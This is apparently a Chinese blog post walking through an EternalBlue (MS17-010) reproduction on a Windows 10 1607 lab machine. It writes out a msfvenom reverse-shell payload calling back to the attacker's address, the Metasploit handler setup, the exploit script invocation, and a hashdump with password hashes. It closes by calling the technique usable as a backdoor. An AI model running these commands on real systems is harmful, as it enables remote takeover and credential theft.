永恒之蓝Windows10版踩坑复现

简介: 永恒之蓝Windows10版踩坑复现

1. 背景介绍


永恒之蓝(ms17-010)通过TCP端口445139来利用SMBv1NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

参考:https://www.freebuf.com/vuls/349281.html

本文有其他师傅的帮助,感谢各位师傅。

其实永恒之蓝这个漏洞影响的范围非常广,大致有以下类型:

Windows 2016 x64
Windows 10 Pro Vuild 10240 x64
Windows 2012 R2 x64
Windows 8.1 x64
Windows 2008 R2 SP1 x64
Windows 7 SP1 x64
Windows 2008 SP1 x64
Windows 2003 R2 SP2 x64
Windows XP SP2 x64
Windows 8.1 x86
Windows 7 SP1 x86
Windows 2008 SP1 x86
Windows 2003 SP2 x86
Windows XP SP3 x86
Windows 2000 SP4 x86

相关的cve有:CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE-2017-0148

基本上我们搜索永恒之蓝漏洞复现,99%的师傅选择的都是Windows7或者Windows server2008,因为这两个系统复现的成功了将近100%(在存在漏洞的情况下),复现的前提条件是:

  • 关闭防火墙
  • 关闭杀软(当然win708本身不带有任何杀软)
  • 确认445端口开放

但是在上述列表中,该漏洞甚至还影响Windows10Windows server2016等,所以在这里复现的时候,查找了很多资料,只在YouTube上看到部分复现的视频,上面复现使用的是Windows server2016 standard Evaluation版本,后来我们尝试使用非常多的镜像版本去尝试复现:

其中有一个Windows10 pro英文版,其他师傅短暂复现成功过一次之后,其他均失败。


2. Windows10 1607版本漏洞复现


后来经过曾哥师傅的指点,在Windows10 15111607的版本上可能存在漏洞,并且他在1607版本上复现成功,经过整理发现,复现成功需要以下条件:

  • 关闭Windows defender
  • 禁止Windows10更新
  • 关闭防火墙
  • 在本地计算机策略里面,修改本地策略的安全选项,设置可匿名访问的共享
  • 使用老版本msf或者使用工具自己跑


2.1 msf新版

攻击机:mac10.30.1.214

靶机:Windows10虚拟机 1607版本192.168.135.28

当然啦,我们先按照新版本msf6和不关闭组策略的情况下进行测试,先安装了一个1607版本的镜像虚拟机:

ed2k://|file|cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso|4347183104|35EA5DB0F3BB714F5CE0740FB89D82D1|/

先关闭其他的杂项,关闭Windows defender

关闭防火墙等,不设置可匿名访问的共享,在这里查看ip和版本信息:

使用msf6来进行测试:


使用第一个进行测试,在这里面的第二个2023的那个,是老版本msf5里面的,是我自己加上去的,后续再说:

在这里发现,无论如何run,都会存在一个错误,这是网络连接错误,在这里就按照上面师傅的要求设置可匿名访问的共享,再跑:

在这里设置为\,保存之后再跑一下:

这次没有错误了,但是你无论如何run,会话就回不来,看下当前模块支持的系统类型:

当前是支持这里面的win10的,可能是系统不对的问题,如果使用老版的msf来执行的话,其实可以直接弹回来的,在这里借用橘子师傅的截图:

当然如果将msf5版本的模块直接放到msf6里面使用的话,会因为一些问题发生报错,可能是因为版本的问题:


2.2 工具版


攻击机:mac10.30.1.214靶机:Windows10虚拟机 1607版本 192.168.135.28

如果不使用msf的话,在这里参考以下师傅的文章,利用工具来进行复现,当然前提依旧是需要设置可匿名访问的共享:

https://blog.csdn.net/shuryuu/article/details/121159254

工具地址:

https://github.com/worawit/MS17-010

2.2.1 检测永恒之蓝漏洞

github上工具下载到本地之后,先试用脚本检测下是否存在永恒之蓝漏洞,在这里使用Python2

python checker.py 192.168.135.28

上图是正常的,如果是不正常的会显示:

当前如果再执行exp的话,会失败。


2.2.2 漏洞利用

首先生成一个exe,等会回弹到本地来:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.30.1.214  LPORT=7788  -f  exe  -o  7788.exe

另外一侧,打开msf,准备接收会话:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set lhost 10.30.1.214 
set lport 7788
run

打开刚下载的代码中的zzz_exploit.py文件,注释以下几行:

取消注释以下几行,并修改其中的文件:

在这里注意:第一个7788.exe是要和你的脚本在同一个文件夹下,如果不在的话,可以写其他的绝对路径,比如:/tmp/1.exe,如果永恒之蓝漏洞执行成功的话,就会将这个文件传到靶机的C盘下,文件名就是7788.exe。修改好之后,准备执行:

python zzz_exploit.py  192.168.135.28 netlogon(这个可以不带)

此时会话就弹回来了:

此时尝试抓取hash

显示无法抓取,应该是进程问题,将进程由x86的迁移至x64的应该就可以了,查看下当前的进程:

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 5616
meterpreter > ps

将当前的进程迁移至session0,权限是systemx64的进程上来:

迁移到308上:

meterpreter > migrate 308
[*] Migrating from 5616 to 308...
[*] Migration completed successfully.
meterpreter > hashdump
admin:1000:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

再进行解密即可:


2.3 影响Windows10漏洞的因素

其实在上面2.2执行的时候,有些步骤配置了,但是依旧失败:

  • 关闭Windows defender
  • 禁止Windows10更新
  • 关闭防火墙
  • 在本地计算机策略里面,修改本地策略的安全选项,设置可匿名访问的共享

但是在重启之后,就可以了,在这里经过测试发现,设置可匿名访问的共享是当前Windows10版本利用的必要条件。如果以上还不能成功,可以尝试开启3389,允许任何人访问。

并在本地安全策略中,关闭以下选项,重启之后再测试:


3. 总结


本次Windows10版本的永恒之蓝漏洞,理论上利用比较苛刻,需要手动配置,所以在实战中,基本上没有太大用处,但是不妨可以作为后门的一种。

相关文章
|
安全 Linux 网络安全
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(一)
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(一)
|
安全 Shell Linux
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(二)
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(二)
|
1月前
|
安全 数据安全/隐私保护 Windows
解锁安全之门,Windows Server 2019密码修改攻略大揭秘
解锁安全之门,Windows Server 2019密码修改攻略大揭秘
|
1月前
|
存储 安全 网络安全
铁壁如墙-WINDOWS SERVER 2019勒索病毒终极防御指南
铁壁如墙-WINDOWS SERVER 2019勒索病毒终极防御指南
|
1月前
|
网络协议 数据安全/隐私保护 Windows
Windows Server 各版本搭建域控制器实现通过域管理用户(03~19)
Windows Server 各版本搭建域控制器实现通过域管理用户(03~19)
47 1
|
1月前
|
存储 数据安全/隐私保护 索引
Windows Server 各版本搭建文件服务器实现共享文件(03~19)
Windows Server 各版本搭建文件服务器实现共享文件(03~19)
174 1
|
1月前
|
数据安全/隐私保护 虚拟化 Windows
如何在 VM 虚拟机中安装 Windows Server 2012 操作系统保姆级教程(附链接)
如何在 VM 虚拟机中安装 Windows Server 2012 操作系统保姆级教程(附链接)
82 0
|
3月前
|
缓存 网络协议 数据安全/隐私保护
[运维笔记] - (命令).Windows server常用网络相关命令总结
[运维笔记] - (命令).Windows server常用网络相关命令总结
191 0
|
4天前
|
SQL 数据管理 关系型数据库
如何在 Windows 上安装 SQL Server,保姆级教程来了!
在Windows上安装SQL Server的详细步骤包括:从官方下载安装程序(如Developer版),选择自定义安装,指定安装位置(非C盘),接受许可条款,选中Microsoft更新,忽略警告,取消“适用于SQL Server的Azure”选项,仅勾选必要功能(不包括Analysis Services)并更改实例目录至非C盘,选择默认实例和Windows身份验证模式,添加当前用户,最后点击安装并等待完成。安装成功后关闭窗口。后续文章将介绍SSMS的安装。
7 0
|
1月前
|
安全 数据安全/隐私保护 Windows
无远不至的掌控力:探索Windows Server 2019的远程访问绝招
无远不至的掌控力:探索Windows Server 2019的远程访问绝招